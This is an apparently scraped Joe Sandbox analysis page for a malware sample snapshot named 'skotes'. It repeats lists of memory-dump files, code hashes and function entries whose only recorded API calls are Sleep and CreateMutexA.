Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c6ada66098550fa2830375765d41daf2fd33b784d604442d579aa23a43afa21e
Instruction ID: 0c6fcb3248841aa6c685fdfa8cc9b0b4182b313e014385f02b788a005a389129
Opcode Fuzzy Hash: c6ada66098550fa2830375765d41daf2fd33b784d604442d579aa23a43afa21e
Instruction Fuzzy Hash: 4A312831705204DBEB18AB78DDCDBADBBA2EB82314F64821DE014A73D6C7759D8087A1

Function 000C9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2c8f54ab0c443374a53257a0ceef3f23dd8a4ee68eba4845d725d259baa30776
Instruction ID: f60fe48cbd484e6f06911815fba54b9d8c54652c482cc427498dc54204f14b10
Opcode Fuzzy Hash: 2c8f54ab0c443374a53257a0ceef3f23dd8a4ee68eba4845d725d259baa30776
Instruction Fuzzy Hash: CB315B317012489BEB189B78DC8DFACB762EB86314F24861DE014E73D6C73699818762

Function 000CA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c79855caa72e8c56d95a6fd1222612fdf65bf820fbb4e8087a91a16870231543
Instruction ID: 60a9f4e702c8bc6c617d958216e0726d9d548c5fe8cc055274aa2c02d733fa86
Opcode Fuzzy Hash: c79855caa72e8c56d95a6fd1222612fdf65bf820fbb4e8087a91a16870231543
Instruction Fuzzy Hash: AC313931B012489BEB18DB78DD89FADB772EBC2318F24821DE414973D6C77699808762

Function 000CA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 98db1640c05859b145ad77fb0acc71ee2083e13601915ddca5401384c54d9106
Instruction ID: 0a60277c197a8d5d0d063f31a2fd70fe4bfc70007e26342f9f741bf6bd39fad8
Opcode Fuzzy Hash: 98db1640c05859b145ad77fb0acc71ee2083e13601915ddca5401384c54d9106
Instruction Fuzzy Hash: 87312A317012489FEB189BBCDC89FADB762EB87318F24821DE414973D6D77699808762

Function 000CA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7e19673f2ad9466a0efe8ed4c19fe33a67c385041c9ba650597124c50bc1caf2
Instruction ID: 3413263101b3efd002c76691321ecdb76d8e6b151250c99a811c2c0a8e1c060c
Opcode Fuzzy Hash: 7e19673f2ad9466a0efe8ed4c19fe33a67c385041c9ba650597124c50bc1caf2
Instruction Fuzzy Hash: 9F310B317012089BEB1C9B78DC89FADB661EBC2318F24821DE055977D6D776998086A2

Function 000CA54D Relevance: 3.1, APIs: 2, Instructions: 132
